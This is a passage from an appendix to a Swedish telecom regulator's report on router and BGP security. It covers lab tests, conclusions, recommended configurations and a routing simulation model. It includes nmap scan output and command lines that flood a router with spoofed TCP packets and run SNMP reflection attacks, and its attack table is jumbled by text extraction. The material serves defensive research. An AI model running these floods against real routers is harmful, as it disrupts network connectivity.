Result:
Starting nmap 3.70 ( http://www.insecure.org/nmap/ ) at 200608-23 10:40 CEST
Interesting ports on R1_NAME (R1_IP):
(The 19992 ports scanned but not shown below are in state:
closed)
PORT
STATE
SERVICE
7/udp
open
echo
9/udp
open|filtered discard
19/udp
open
chargen
49/udp
open|filtered tacacs
67/udp
open|filtered dhcpserver
123/udp open|filtered ntp
496/udp open|filtered pim-rp-disc
1985/udp open|filtered unknown
Nmap run completed -- 1 IP address (1 host up) scanned in
17001.682 seconds
2.3.2 DoS with crafted packets
A review of the vulnerabilities tested in Sections 2.1.2 and 2.2.2 indicates that these were also
rectified in the current OS version.
2.3.3 Traffic load to CPU
First, verification of normal CPU loading is required without any traffic being sent to the
router.
Stimuli:
No traffic was sent to the router.
Measuremen
t results:
The router CPU was verified by logging in via ssh and polling the level of
utilisation using 'show proc cpu'. From the response, the total CPU
utilisation and the utilisation on the interrupt level for the past 5 seconds is
gathered. The result is shown in Figure 14 below.
86
National Post and Telecom Agency
- APPENDIX 3
Figure 14.
Router, test network C, load in base line
Normal CPU loading has a high level of variance with low peaks up to a
100% level of utilisation.
As this router is placed at a peering point in the Internet through which some traffic normally
flows, a significant CPU load is normally seen in contrast to test network B.
2.3.3.1 TCP packets to port 179
A first simple test for later comparison is to send empty TCP packets directed at port 179/tcp
on the router. If these are not blocked by ACLs, we expect a certain CPU loading for receiving
the packets, determining that they are not correct BGP messages, and discarding them.
Stimuli:
Empty TCP packets sent to port 179:
[root@anubis pts]# ./sendip -n 500000 -s 1 -p ipv4 -is
IP1 -p tcp –ts 10000 -td R1_IP
Measurement
results:
The router CPU was verified by logging in via ssh and polling the level of
utilisation using 'show proc cpu'. The total CPU utilisation and the
utilisation on the interrupt level for the past 5 seconds are gathered from the
response. The result is shown in Figure 15 below.
National Post and Telecom Agency
87
Contents - APPENDIX 3
Figure 15.
Router, test network C, load with TCP traffic to port 179
The level of utilisation has increased somewhat, but the main difference
compared with the base line is that the load on the interrupt level has
increased; it also occasionally peaked at around 40%.
2.3.3.2 Reflection attack via TCP
As the router must permit routing traffic from the counterparty during a peering connection
(ACLs and GTSM checks must permit traffic), this could potentially open up an opportunity
for an attacker involving an attempt to trick the counterparty into sending overloading traffic to
the router. Here, a simple form of this type of reflection attack is tested where the counterparty
is tricked by the attacker to send a response to a TCP packet to the router's TCP port 179.
Stimuli:
TCP packets are sent to port 179 on the Cisco 2600 with the sender's IP falsified to
R1_IP:
[root@anubis pts]# ./sendip -n 500000 -s 1 -p ipv4 -is R1_IP -p
tcp -ts 10000 -td 179 c2600
Measuremen
t results:
88
The router CPU was verified by logging in via telnet and polling the level of utilisation
using 'show proc cpu'. The total CPU utilisation and the utilisation on the interrupt
level for the past 5 seconds are gathered from the response. The result is shown in
Figure 16 below.
National Post and Telecom Agency
- APPENDIX 3
Figure 16.
Router, test network C, reflection using TCP traffic
The level of utilisation roughly corresponds to direct traffic to the router.
2.3.3.3 Reflection attacks via SNMP
Another variant of a reflection attack that can be utilised for bandwidth enhancement is to
make SNMP queries. However, this requires the SNMP service to be accessible and the
attacker to know community strings which at least permit reading.
Stimuli:
The snmpdos tool is used to send falsified SNMP 'bulkget'requests to the
Cisco 2600 with falsified sender's IP to R1_IP:
[root@anubis]# ./snmpdos -t R1_IP -f hostfile.txt -l 500
000
Measurement
results:
The router CPU was verified by logging in via telnet and polling the level of
utilisation using 'show proc cpu'. The total CPU utilisation and the
utilisation on the interrupt level for the past 5 seconds are gathered from the
response. The result is shown in Figure 17 below.
National Post and Telecom Agency
89
Contents - APPENDIX 3
Figure 17.
Router, test network C, reflection using SNMP
There was no perceptible increase in CPU load.
2.4
Conclusions drawn from the lab network
experiments
The experiments had two specific aims. These are summarised in separate sections. The first
was to achieve a better understanding of the known vulnerabilities and the possible risks
associated with them. The second was to draw conclusions about the presumed effects of new
vulnerabilities that have not yet been discovered by categorising the typical effects of
previously known vulnerabilities.
2.4.1 Results of the experiments
Initially, several forms of reconnaissance were tested. The risk of these occurring can be
reduced by limiting the information about the system that is available to an attacker as much as
possible. The results indicate that tools available for OS identification are relatively good at
identifying somewhat older versions of IOS that have been available to a large market for quite
some time. On the other hand, the newer versions that are mainly used by larger operators are
not recognised. CDP traffic should not be released outside one's own network [30][41] to avoid
information about the system leaking out. The vulnerability scanning tool, Nessus, was tested
to see how an attacker could use it. Nessus's main method for identifying Cisco-related
vulnerabilities is to determine the OS version via SNMP and subsequently compare this with a
table of known vulnerabilities. Only a few Cisco-related vulnerabilities can be identified
without access to SNMP. Thus, as SNMP is also a known intrusion route, there are several
reasons to restrict connections to SNMP and choose strong passwords. (Tools for guessing login passwords and SNMP passwords (community) are also relatively simple to use even for
those with only limited skills.)
90
National Post and Telecom Agency
- APPENDIX 3
The known disruption vulnerabilities, which can be triggered by crafted packets against
previous OS versions that were simulated, included blocking interface cards, blocking routers
via web servers and reloading caused by an MPLS-related vulnerability. On the other hand, it
was observed that some publicised ICMP-related vulnerabilities only affect Cisco IOS in rare
exceptional cases.
Several experiments were conducted using different forms of TCP-related attack. Interruption
attacks to interrupt peering connections are relatively easy to carry out for a user who can
monitor traffic unless MD5 protection of the TCP connection is used. However, it is generally
presumed to be difficult to successfully monitor traffic. Risks that were previously a concern
with sequence number guessing at a distance are greater than initially described in these
reports. Also, later versions of OS have been improved in this area, which, as long as a modern
OS version is used, makes it very difficult to carry out a guessing attack, even without MD5
protection of the TCP connections. The injection of routing information into TCP connections
(even without MD5 protection) is only practical if the connection can be monitored; in this
case, an attacker must also successfully silence one of the parties so that information is not
removed from the system after a few minutes (as a consequence of a restarted peering
connection).
Several different forms of DoS attack on input queues, CPUs or memory were also tested. For
example, a simple loading of the input queue was tested to block routing traffic, which may
cause a broken peering connection. In other words, in practice, it appears that the risk of
someone successfully interrupting a peering connection from a distance by means of a simple
DoS attack is greater than the risk of someone successfully guessing sequence numbers in
order to interrupt the TCP connection. It is also important to protect the input queue with the
help of GTSM and possibly also ACLs. Measurements were carried out to determine whether
there was potential to cause CPU loading. However, these were not usually run long enough to
observe any abnormal conditions. For example, normal traffic directed via slowpath owing to
IP options may induce additional CPU loads as well as direct or reflected traffic directed at the
router. However, several types of protection are available in the form of rate limiting and
selective packet discard as well as the fact that a packet with options can often be filtered out.
A comparison was also made between cases where the MD5 protection was either deactivated
or activated, suggesting a risk of increased CPU loads as a consequence of cryptographic
calculations for incoming packets. This means that the use of MD5 should be combined with
other types of protection of the input queue. The impact of memory overloading from routing
messages was also checked. When too many routes are received, the peering connection is
pulled down and restarted, which can result in cyclical repetition. For this reason, it is
appropriate to configure restrictions as to how many routes are accepted, with a warning if this
limit is exceeded.
Table 1 summarises the conclusions drawn from the attack experiments in the lab networks.
The figures in brackets refer to the observations noted in the attack tree in Section 1.3.1.
National Post and Telecom Agency
91
Contents - APPENDIX 3
Table 1. Conclusions drawn from experiments
Attack
I
Blocking NIC (1).
II
Loading of input queue (2).
III
False ICMP (3).
IV
TCP RST attack (4).
V
TCP synchronisation
disruptions (5).
VI
Router crash due to web
server attack (7).
VII
VIII
Crafted IPv6 packet (8).
Crafted MPLS packet (9).
IX
Traffic with high address
diversity (10).
X
Traffic with IP options
(11).
Multicast traffic (12).
Update overload (13).
Route deaggregation (14).
XI
XII
XIII
Level of difficulty
for attacker4
Low.
Possibly requires
falsified source IP.
Low.
Average.
IP addresses and port
numbers are required.
Average.
IP addresses, port
numbers and
sequence numbers are
required.
High. Correct
sequence numbers
required.
Low. (However very
old vulnerability).
Not tested.
Average. Easy to
carry out, but requires
foothold near router.
Not tested.
Not tested.
Relatively high.
Access to verification
level required.
High.
High.
Requires possibility
to monitor peering
traffic.
BGP control by insider.
BGP control by means of
TCP takeover (15).
XVI
BGP control by means of
layer 2 attack (16).
Router intrusion by means
of password guessing (17).
Not tested.
Router intrusion by means
of SNMP community
guessing (18).
Low.
XVII
XVIII
Low.
Example(s) of
protection
Modern OS version.
May block BGP
peering.
Does not work
against Cisco IOS.
ACLs.
Interrupts peering
connection.
Modern OS version,
MD5 protection or
IPSec for BGP
sessions.
Breaks peering
connection.
MD5 protection or
IPSec for BGP
sessions.
Modern OS version.
Turn off web
configuration.
Blocks router
which has to be
restarted.
Router crashes and
restarts.
Does not appear to
be an effective
attack vector.
May contribute to
CPU load.
Low.
XIV
XV
Local
consequences
Blocks traffic and
BGP peering.
Terminated peering
connection
Reconfiguration.
Short-term impact
as the peering
connection is
interrupted after a
few minutes and
restarted.
Check special cases
however.
Modern OS version.
ACLs, selective
packet discard
Restricted number of
routes permitted from
peer.
Defensive filtering.
MD5 protection or
IPSec for BGP
sessions.
Infrastructure ACLs
(and secure
passwords).
Infrastructure ACLs
(and secure
passwords).
Assuming that a vulnerability can be exploited, e.g. an old OS version with a known vulnerability,
or a weak password.
4
92
National Post and Telecom Agency
- APPENDIX 3
XIX
Router intrusion by means
of buffer overflow attack
(18).
High for designing
shellcode.
Serious. Full
control of router.
Infrastructure ACLs
and good patch
management.
2.4.2 Local and macroscopic consequences
The experiments and information available about known vulnerabilities helped identify a
number of basic consequences of the attacks on individual routers. We will call these 'local
consequences'. The intention was to identify a categorisation so that if new vulnerabilities are
discovered, it is likely that the consequences on an individual router will still fall within one of
these categories. The consequences identified are:
- Router intrusion with configuration potential ('enable shell'). The most common
way of achieving this on most computer platforms is to exploit some form of buffer
overflow vulnerability in an open network service. Moreover, in the known case with
Cisco routers, two different vulnerabilities were required to be exploited in sequence
[28].
- Router crash and restart. This is typical behaviour when a buffer overflow error is
caused on a Cisco IOS router, and is consequently much easier to cause to a known
vulnerability than to carry out a successful intrusion.5 May also be caused by a full
memory, etc. [23].
- Blocked router, as in the case with the old http server vulnerability. However,
probably relatively rare.
- Blocked input queue for an interface, as in the case [21].
- Terminated peering connection, for example by TCP reset [26].
These local consequences can, either individually or in combination, result in greater
repercussions to the global routing system. We will call these 'macroscopic consequences'. In
Section 4, we used simulations to extrapolate the macroscopic consequences of various types
of attack based on the categories of local consequences derived here. We can expect two main
types of macroscopic consequence for Swedish users:
- Loss of connectivity. It is not possible to reach certain (or all) destinations on the
Internet for a period of time.
- Redirection of traffic. Users who believe that they are contacting a certain
destination on the Internet are actually being redirected to a different one (without this
being apparent to the user).
The largest Cisco routers run a different operating system version, known as IOX or IOS-XR. It
was redesigned from scratch and does not deal with corrupt memory in the same way as
previously. This should make it more robust against memory errors.
5
National Post and Telecom Agency
93
Contents - APPENDIX 3
3 Best Common Practices
In this section, we take several different sources of published advice and relate these to the
attack tree and the results of the experiments in the lab networks discussed in Section 2.
3.1
Some sources of general advice
In addition to books about routing design and configuration (for example, [33][34]), Cisco has
published a series of white papers with security advice called 'SAFE Blueprints'; one of these
focuses especially on routing protocols [35]. This document describes several different types of
attack and protective measure, such as MD5 protection of peering connections, GTSM, EGP
routing against all external networks, defensive filtering, flap damping and limiting the number
of accepted routes. The American National Institute of Standards and Technology has recently
published a draft report of security advice for configuring BGP [36]. User organisations, such
as NANOG, RIPE and APNIC, also hold many lectures on security advice at their user
conferences. Material from many of these earlier lectures is available on the Web; for example,
from NANOG [36], RIPE [38] and APRICOT [39]. Other websites, such as bgp4.as [40], have
gathered together a large number of documents and links to further information about BGP,
routing systems and security.
The most common protective measures mentioned include the following:
• Infrastructure ACLs: protection to prevent outsiders from contacting routers and other
equipment in the infrastructure
• Blackholing: deflecting and discarding malicious traffic
• Spoofing protection: filtering to, as far as possible, detect and discard traffic where the
originator's address has been falsified
• Defensive BGP filtering: filtering of bogons and other incorrect routes across peering
connections.
3.2
Configuration templates
A source of hands-on advice that is often quoted as regards the secure configuration of routers
and BGP is a collection of configuration templates developed by Team Cymru [41][42]. These
are also presented in Appendices A and B. They are intended to serve as a good starting point
for the definition of a secure network configuration and must be adapted for this reason. There
are also other types of security measure that do not specifically involve BGP or even routing
configurations. In other words, it is not appropriate to regard these as finished complete
solutions for achieving good security. However, together with updated software on the router,
they do serve as a good starting point on which to build based on local conditions. The
template in Appendix A concerns the basic configuration of routers, while the template in
Appendix B is directed more specifically at BGP.
Some comments on how this relates to the attack tree in Section 1.3 and the experiments in
Section 2 should be mentioned. Methods for reconnaissance are not specifically mentioned in the
attack tree, but some cases were discussed in the experiments (Section 2.1.1). Port scans can often
be blocked by means of infrastructure ACLs (Appendix A, lines 292-306). SNMP access should be
protected to avoid vulnerability scanning with Nessus, partly by infrastructure ACLs (Appendix A,
lines 292-306) and partly through a community string which is difficult to guess (Appendix A, lines
424-426). CDP is another potential form of information leakage to the outside. This can be
monitored from the same sub-network and subsequently should be prevented from transmitting
to the outside (Appendix A, lines 419-423).
94
National Post and Telecom Agency
- APPENDIX 3
The attack tree in Section 1.3.1 encompassed two main objectives: the introduction of false
routing information or the disruption of a peering connection. The introduction of false
information either requires the direct manipulation of BGP or an indirect attack by means of an
attack on an IGP protocol. The configuration templates do not affect the IGP protocol, so this
aspect must be taken into consideration beyond that provided for in the templates. One must
either be able to change the configuration or inject information into the peering connection to
affect BGP (Section 2.1.3.2). The latter can be prevented, for example by means of MD5
protection on TCP connections (Appendix B, lines 34-35). Encrypted, rather than clear text,
passwords for configuration privileges (Appendix A, lines 40-41) may help to prevent an attacker
(an insider or someone who has gained access to the router) from escalating their privileges.
Intrusion by guessing passwords and SNMP community (Section 2.1.1.3) is prevented through
infrastructure ACLs (Appendix A, lines 292-306) and choices that are difficult to guess. SNMP
access followed by guessing passwords in the configuration file is also avoided by using a
centralised authentication server (Appendix A, lines 43-59). This should be disconnected to avoid
all possible intrusion via vulnerabilities in the web servers for configuration interfaces
(Section 2.1.1.1) (Appendix A, lines 61-63). Appropriately designed infrastructure ACLs
(Appendix A, lines 292-306) may also protect against intrusion via buffer overflow attacks against
services on the router, and in those cases where the intrusion code attempts to open a port on the
router for access from outside. However, whether it is also possible to block cases where the
intrusion code establishes the connection back to the attacker is somewhat less clear and the ACLs
are naturally not particularly helpful if the attacker should succeed in developing such a
sophisticated attack code that it can manipulate the ACLs in the router.
If the attacker successfully establishes a peering connection, the routing information can be
manipulated and simple attacks can be carried out that can load the memory (Section 2.1.5.1) or
CPUs, even on adjacent routers. Memory loading can be avoided by restricting the number of
routes that can be accepted from adjacent routers (Appendix B, lines 53-63).
If we regard the various forms of disruptive attack that are classified under the traffic level in the
attack tree, there are different ways of interrupting the TCP connection, blocking a router,
inducing a router crash and CPU loading. Blocking input queues by means of traffic loading is
prevented by ACLs, which stop unauthorised parties from sending traffic to TCP port 179 on the
router (Appendix B, lines 109-119). However, this leaves an opportunity for loading traffic to port
179 using a falsified originator, which could be stopped by the GTSM mechanism. One should
ensure that the counterparties have also undertaken corresponding security measures in order to
also be protected against a reflection attack. Measures preventing the forwarding of traffic using
falsified originator addresses (Appendix A, lines 119-120 and lines 308-319) not only help to
protect one's own network, but also the networks of others. Protecting specific ports also does
not provide protection against vulnerabilities such as the blocking of input queues due to a bug
(Section 2.1.2.1). As this specific vulnerability is relatively old, it appears unlikely that vulnerable
versions are still being used to any great extent. Attacks against the TCP protocol in order to
interrupt the connection (Section 2.1.3.1) can be prevented using MD5 protection (Appendix B,
lines 34-35).
Known disruptive attacks that can block routers (Section 2.1.2.3) or cause restarts include attacks
against web servers. These should be kept closed (Appendix A, lines 61-63). Attacks using
specially designed IPv6 packets or MPLS packets (Section 2.1.2.4) are also possible. The
configuration templates do not cover these cases, but they must be carried out from the same subnetwork as the router, and updated software provides protection against these known cases.
National Post and Telecom Agency
95
Contents - APPENDIX 3
Finally, the likelihood of traffic with characteristics that may cause a CPU load, for example
different types of IP option, was studied. The templates do not contain specific protection against
these eventualities, but larger routers in particular have protective mechanisms for these cases as
well: from mechanisms to mainly discard such packets and retain routing messages to more
sophisticated 'Control Plane Policing' functions.
If instead the templates are used as a basis, the links to experiments are thus as follows. For the
template in Appendix A, pertaining to the basic configuration of routers:
•
•
•
•
•
•
•
•
Lines 40-41: enable secret avoids clear text enable password in the configuration file
in the event that an attacker successfully accesses the router or reaches the configuration
file via SNMP (Section 2.1.1.3)
Lines 61-63: http configuration is shut down (Section 2.1.2.3)
Lines 119-120: protection from certain types of falsified originator addresses from the
outside
Lines 266-269: blocking SNMP access for outsiders (Section 2.1.1.3), (infrastructure
ACL)
Lines 292-306: infrastructure ACLs prevent outsiders from logging on (e.g. other forms
of password guessing). This also prevents an intrusion code attempting to open up a new
port for the attacker to connect to
Lines 308-319: spoofing protection for the internal network, i.e. blocking falsified
originator addresses from one's own network
Lines 419-423: blocking the leakage of information about the infrastructure via CDP to
the outside. (CDP can be monitored from the same sub-network. Other forms of
reconnaissance were tested in Section 2.1.1.)
Lines 424-426: SNMP community (Section 2.1.1.3)
For the template in Appendix B that is directed more specifically at BGP:
•
•
•
•
Lines 34-35: MD5 protection of TCP connections (Section 2.1.3)
Lines 41-46: ingress filter to protect against a bogon prefix
Lines 53-63: Restrict a number of routes from neighbours to prevent the memory
running out (Section 2.1.5.1)
Lines 109-119: Protect the BGP port (179/tcp) from connections other than from the
intended counterparty, which protects against certain forms of DoS attack (Section
2.2.4). However, the counterparty must also be protected in order to provide own
protection against reflection attacks via the counterparty.
Defensive filtering is mentioned in the BGP template only to the extent that unused address
blocks ('bogon filtering') are filtered out, as these are the only completely general rules. Otherwise,
specific filters need to be designed based on local circumstances. However, an additional general
rule could be to also filter out received deaggregations of one's own address space coming from
the outside in order to protect at least the internal routing in the event of errors.6
6
In some cases, third party products or services are also used to detect this.
96
National Post and Telecom Agency
- APPENDIX 3
Besides the measures present in the configuration templates, more advanced measures are also
worth mentioning, such as various forms of separation of control level and management level
from normal traffic.
National Post and Telecom Agency
97
Contents - APPENDIX 3
4 The Swedish routing system: a simulation
model
A simulation model of the Swedish part of the Internet's interdomain routing system was used
to assess the possible repercussions and consequences of various types of attack on Swedish
Internet users. The 'local consequences' of attacks derived in Section 2.4, i.e. the impact on
individual routers, are induced in the model simulating the interaction with the rest of the
routing system.
The simulation model is relatively complex and contains the network topology at an AS level
for the Swedish part of the Internet in addition to some important neighbouring AS. For
Swedish AS, it also contains a router-level topology, which is somewhat simplified in the
respect that it focuses on border routers but removes the internal network structure in the
autonomous systems. In order to be able to study the effects of various attacks against certain
functions critical to society, the model also contains information about the location of certain
organisations' connections to the Internet (either in the form of their own AS or the provider
that they have for the Internet connection). In order to be able to quantify the effects of attacks
in terms of the proportion of Swedish Internet users who could be affected, the model also
encompasses certain data about market shares for different ISPs compiled by PTS's Market
Affairs Department.
The network simulator SSFNet was used for the simulations [33]. SSFNet includes detailed
models of ordinary protocols in the TCP/IP stack as well as detailed models of routing
protocols, such as BGP and OSPF. SSFNet has been used in BGP-oriented research studies,
involving, for example, convergence characteristics [44], the route flap dampening mechanism
[45] and encryption costs when introducing S-BGP [46]. In contrast to other network
simulators, SSFNet was also originally designed for scalability to large models through parallel
or distributed execution [47]. The latter is of crucial importance if one is interested in studying
the major components of the Internet's infrastructure.
4.1
Network topology
The network topology is described at two levels: the AS level, i.e. which autonomous systems
exchange traffic, and the router level, i.e. which routers are connected by links. For some
simulation experiments (certain types of attack), it is sufficient for the model to contain a
description of the AS level, while other experiments require consideration to be taken of the
physical level (with physical redundancy) also. We will first discuss the AS level and then the
router level.
4.1.1 AS level topology
The network topology was first designed at an AS level, primarily with the help of BGP data
retrieved from the Route Views project at the University of Oregon [48] and from RIPE NCC
[49]. BGP RIB dumps were retrieved from Route Views containing approximately 8.6 million
routes in a 'show IP bgp' format compiled on 26 November 2005 (12 noon) from Route Views's
peer routers (peer AS, as shown by Table 1, Appendix C). Similar data with approximately
1.86 million routes in MRT format were also retrieved from RIPE and were collected on 26
November 2005 (16.00) from RIPE's peer routers in Stockholm, NETNOD-IX (rrc07), and
London, LINX (rr01) (peer AS, as shown by Table 1, Appendix C).
All of the AS path attributes were extracted from the routes in the RIB tables. The peering
connections between different AS indicated by AS paths are then used to design an AS level
topology for the Internet. A corresponding method has been used in many different research
studies and has some known weaknesses. Above all, it is known that it is not possible to
securely register all peering connections that exist in the actual network. Only the connections
that are actively used at the time of the compilation of data will be included, while, for
98
National Post and Telecom Agency
- APPENDIX 3
example, backup connections (which are only used when the primary connection is not
working) tend to be missing as they are not visible in the routing tables if not used recently.
Private peering connections between local ISPs also tend to get missed, as collection mainly
takes place from AS higher up in the hierarchy as well as at public exchange points. Public
exchange points can also convey a somewhat changed picture, as the exchange point's own AS
is not always visible (depending on the configuration), but there may appear to be a direct
connection between the AS connecting to the exchange point. It is also worth noting that the
AS graph that has been designed only contains one link between each AS pair. In other words,
each link represents the occurrence of at least one physical peering connection between AS.
Then labels were placed on all AS (nodes in the graph) with their AS number and the AS name
registered for these AS in RIPE's and ARIN's WHOIS databases.
One heuristic method proposed by Gao et al. [50] was used in a subsequent step to label the
links between AS, indicating the peering relationship (the commercial relationship) between
the AS. By studying the traffic flows permitted according to the routes observed, the method
attempts to classify the relationship between AS X and AS Y (which has a peering connection)
in one of the following rough categories: Supplier/Customer, Customer/Supplier, Peer/Peer,
Sibling/Sibling. The Peer/Peer relationship indicates typical peering between two equivalent
parties. The Sibling/Sibling relationship indicates that mutual transit traffic is permitted and
may, for example, occur between two AS owned by the same ISP.
As this study focuses on the consequences for Swedish users and organisations, we have
limited the network considered by this study from the global Internet to a part that focuses on
Sweden. An iterative heuristic method was used to identify suitable AS to be included in the
network topology. We started from a list of ISPs that have registered with PTS. Names of ISPs
were chosen from this list in order to be able to select as many AS as possible belonging to
ISPs that are Swedish or that are active in Sweden. A simple heuristic method7 was used to
automatically match all or parts of the AS name with the name of ISPs on the list. The e-mail
domain for the contact person and the registered name of the organisation were used as ISP
names.
We then set up a sub-graph based on the global AS graph, which focused on Sweden as
follows: AS, as indicated by the graph, are categorised into four groups according to the
following iterative method. Assume that S is the number of Swedish ISP AS. Assume that K is
the number of AS that are customers of Swedish ISPs. Assume that U is the number of
important foreign ISP AS, and that N is the number of other AS. The number of S is initiated to
contain the AS NEDNOD and TELIANET-SE, and the other amounts are initially empty.
1. Starting point NETNOD and TELIANET-SE (that is, S = {NETNOD, TELIANETSE}).
2. Investigate each neighbouring AS Y for each AS X in the amounts S and K.
a. If neighbour Y can be matched with the name of a Swedish ISP on the list,
add Y to S.
b. If Y, according to the peering relationships derived, is a customer to an AS in
the amount S, add Y to K.
c. In other cases, add Y to N.
3. Manually verify the amounts K and N. The following applies for each AS Y:
a. If Y appears to be a large international ISP, add Y to U.
b. If Y is a Swedish ISP where the name could not be matched, move Y
manually to amount S.
4. Repeat from step 2 until no new elements for S, K or U can be found.
5.
In order to facilitate the manual analysis of each iteration, the results of the automatic namematching and the peering relationship to the neighbour found for each AS are registered. The
result is an AS topology consisting of 167 AS and 467 links as shown in Figure 18, where the
7
A heuristic method is an algorithm without any requirement to be correct or optimal.
National Post and Telecom Agency
99
Contents - APPENDIX 3
different categories of AS have been colour coded. Table 2, Appendix C lists the AS
encompassed by the model by category.
Finally, we compare the peering connections mentioned in the policy information from the
RIPE Routing Registry with the graph that has been designed. In this way, we can discover
additional connections that were not visible in the routing tables. As we cannot be sure whether
any of the information in the Routing Registry is outdated, a somewhat restrictive
interpretation was made so that new connections were only added if the policy information in
both of the connecting AS were in agreement on the existence of a connection. However, it can
be argued that, as the termination of the exchange of traffic, which is known as 'depeering', is
very rare, it would be reasonable to include all connections mentioned in the Routing Registry.
It would be interesting to carry out a comparison using such a construction, but we must leave
this point for future investigations.
Figure 18. AS topology focusing on Sweden. Each node in the graph represents an AS and the
links represent at least one peering connection between AS. Each AS is colourcoded so that blue represents Swedish ISPs, cyan represents customer AS, and
green represents important foreign ISPs ('neighbours').
100
National Post and Telecom Agency
- APPENDIX 3
4.1.2 Router level topology
For simulation experiments where we are not interested in the internal physical structure of
different AS, we simply let a single BGP-speaking router represent the entire internal network.
For some AS, such as end users (known as 'stub AS'), this is probably not particularly
unrealistic as regards the interdomain routing part of the network. However, this is obviously a
considerable simplification for large ISPs, which may have hundreds of routers in their internal
network infrastructure. Such simplification may nevertheless be presumed to be acceptable in
cases where we are only interested in how routing information is propagated in the system
without physical redundancy playing an important role.
However, if we study attacks that in the initial phase are directed at disrupting individual
routers, we must naturally consider the fact that a router is only a small part of an AS. Here, we
have focused on the border routers, i.e. the routers where the exchange of traffic takes place
and which are the primary components of the interdomain routing system; and we are
assuming that attacks directed at the routing system are directed at such routers. In other words,
we are not considering any possible internal BGP-speaking routers and route reflectors here.
A rough survey of border routers in Swedish AS was conducted with the help of traceroutes
from four different points in the network.8 Traceroutes were sent for each of the AS occurring
in the model to a random address in every prefix advertised by the AS (according to the routing
table). It should be borne in mind that, as traceroutes operate at a network level (layer 3), the
physical structure will not arrive at the link level (layer 2) and the MPLS tunnels will not be
visible on the map. However, in most cases this is of no importance, as we will be simplifying
some of the internal topology in every AS here. One possible exception in terms of public
exchange points is where the exchange of traffic typically takes place over a layer 2 topology
that links many border routers to each other. As traceroutes only show point-to-point
connections, such connections will instead be illustrated as a completed graph.9 The best
solution would be to adjust the router topology so that LANs are used at the exchange points,
but it likely that this will have to be done manually. One alternative would be to consider this
in the event that we are contemplating attacks against individual connections or line cards
which are part of the exchange points.
In a first phase, the IP addresses are taken from traceroute files and translated into AS
numbers. This is mainly done through routing tables and secondarily by means of WHOIS
databases for IP addresses that cannot be located in the routing tables. IP addresses are then
located for the border routers connecting different AS. Heuristic tools from [52] were used to
determine which IP addresses belong to the same router, known as 'alias identification'. The
large number of combination possibilities for alias identification makes it necessary to be
selective in terms of the combinations being tested. Here, we chose to start with the number of
IP addresses belonging to border routers and, like [52], first test these with other addresses in
the same or nearby DNS domains. When routers have been identified, a router level map can
be drawn up to illustrate how routers are connected to layer 3 links.
As we have chosen to focus on border routers, the inner network structure of each AS is
removed by connecting the border routers in a complete graph. In this way, the internal
physical connectivity of the AS networks is overestimated and, when approximating the actual
system, we have followed the principle of overestimating rather than underestimating network
security.
8 The quality of such a survey increases with an increased number of base points (see, for example,
CAIDA's Skitter project [51] for a project focused on a large-scale survey of the Internet) and a
larger number would have been preferable. However, limitations in terms of time and resources
meant that this was not possible within the framework of this study.
9 In a complete graph, all nodes have a direct connection to all other nodes. ('Clique' or sometimes
'full mesh'.)
National Post and Telecom Agency
101
Contents - APPENDIX 3
Figure 19.
4.2
Router-level topology
Functions critical to society
Important organisations with functions that are critical to society are located on the graph by
verifying the IP address of their website in the DNS system. We can find out where the AS IP
prefix(es) originated from ('origin AS') by means of the WHOIS database. In some cases, this
is their own AS, otherwise it is the AS of their Internet provider. In other words, we make the
assumption here that the operating network of the organisation lies within the same AS as the
organisation's official web pages. This should generally be the case. In the experiments here we
chose half a dozen different organisations from different sectors that are typical cases. Two
large commercial banks and two Internet brokers were chosen from the financial sector. Their
customer log-in pages lie within the same network prefix as their websites and thus also within
the same AS. In this way, we can study how customers attempting to log onto their online
accounts are affected. A media company was also selected (whose site is a popular Internet
news provider), in addition to a public authority.
4.3
Market shares: Internet users
In order to be able to quantify the proportion of Swedish Internet users who are affected by a
certain event, the model also includes information about market shares for different ISPs. This
data is based on information that is continually being compiled by PTS's Market Affairs
Department. The compilation of questionnaire responses lists the number of users – corporate
or private – that each ISP has in addition to a rough categorisation of the different types of
access (primarily in terms of bandwidth interval). We only count the number of users in the
model; that is, we view companies and private users, as well as various types of connection, as
equivalent, namely, we do not differentiate between broadband connections or modem
connections. As certain customers keep old modem subscriptions as a backup when changing
over to a broadband connection, there is some double-counting of users. We do not take any
special consideration of this; rather we add up the total number of subscriptions and calculate a
market share for each ISP based on this. This also means that large companies with thousands
of users are equated to individual private subscriptions. However, the information available
does not make it possible to take such factors into consideration. The 30 largest ISPs (in terms
of market shares as above) are incorporated into the model and their user share is placed in the
model according to the same principle described earlier for organisations that are critical to
society. The total market shares in terms of the number of users for the ISPs encompassed by
102
National Post and Telecom Agency
- APPENDIX 3
the model amount to approximately 94%, which means that approximately 6% of the total
number of users is missing.
In order to be able to use the information about market shares in the model, it must be linked to
AS or routers, depending on the level of detail used in an experiment. As only a small number
of Swedish ISPs use several AS, we can link users to AS rather easily. However, there is no
information available to link users to specific connection points in the network (specific
routers). Large companies can be located by means of traceroutes. However, large blocks of
private subscriptions are more difficult to identify. We will discuss this further when
presenting the simulation experiments and the conclusions that can be drawn from these.
4.4
Network prefixes
A truly complete routing table currently contains nearly 300 000 IP prefixes (network
destinations) [53]. All ISPs, and consequently most AS, advertise several prefixes for their
various customers, and transit customers advertise prefixes for sub-networks within their own
AS. However, prefixes for different customers are often aggregated when possible in order to
reduce the total number of prefixes and the loading on routers that manage large routing tables.
In the model, we are mainly interested in Swedish destinations, i.e. (Swedish) users who
attempt to contact Swedish companies and authorities. This is why a selection has been made
so that only prefixes advertised by Swedish AS that are included in the model are advertised in
the simulated routing system. In this way, we avoid dealing with a large number of prefixes
advertised from other parts of the world, even if this means that we are not studying the
connectivity to certain destinations abroad that could undeniably be of great importance to
Swedish users as well.
The list of prefixes advertised in the model was produced by verifying the origin AS for all
routes in the routing tables from Route Views's and RIPE's collection point in Stockholm, in
addition to the routing tables from a Looking Glass server in AS 1299 (Telia International
Carrier). The routes advertised by AS that belong to Swedish ISPs and customers were
advertised correspondingly in the model.
4.5
BGP policy
For a realistic model, it is important that routers in the model give a realistic configuration that
corresponds to the routing policies applied in the actual AS. For example, the BGP protocol
route filter and preferences must be configured in order to achieve the desired traffic flows
according to the business relationships between the companies. Most ISPs publish information
about their routing policies in a routing registry (Routing Registry, RR), databases at
organisations such as RIPE NCC, Merit Networks and others whose information altogether
makes up the Internet Routing Registry (IRR). However, this takes place on a voluntary basis
and is updated entirely manually, for which reason one cannot be certain that the information is
complete, correct and up-to-date. (We will discuss this problem in Section 4.6.) The
information available is nevertheless used by several large ISPs, but not Tier 1 ISPs, to
automatically produce configuration files by means of tools such as RtConfig in the
